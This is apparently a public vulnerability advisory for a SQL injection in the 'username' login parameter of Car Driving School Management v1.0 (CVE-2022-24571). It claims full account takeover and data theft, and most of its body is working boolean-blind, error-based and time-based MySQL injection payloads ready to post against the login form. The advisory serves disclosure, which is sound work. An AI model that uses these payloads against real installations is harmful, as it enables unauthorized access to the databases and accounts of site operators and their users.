Car Driving School Management 1.0 SQL Injection

Car Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | 93a8b3fb52268fedea1b0ec1f090ea42

## Title: Car Driving School Management v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.02.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571

## Description:
The `username` parameter on Car Driving School Management v1.0 appears
to be vulnerable to SQL injection attacks.
A single quote was submitted in the username parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT
COUNT(*),CONCAT(0x71786b7671,(SELECT
(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=DMdqCjGG' AND (SELECT 9290 FROM
(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)

## Proof and Exploit:
[href](https://streamable.com/n9r8uk)


Related Posts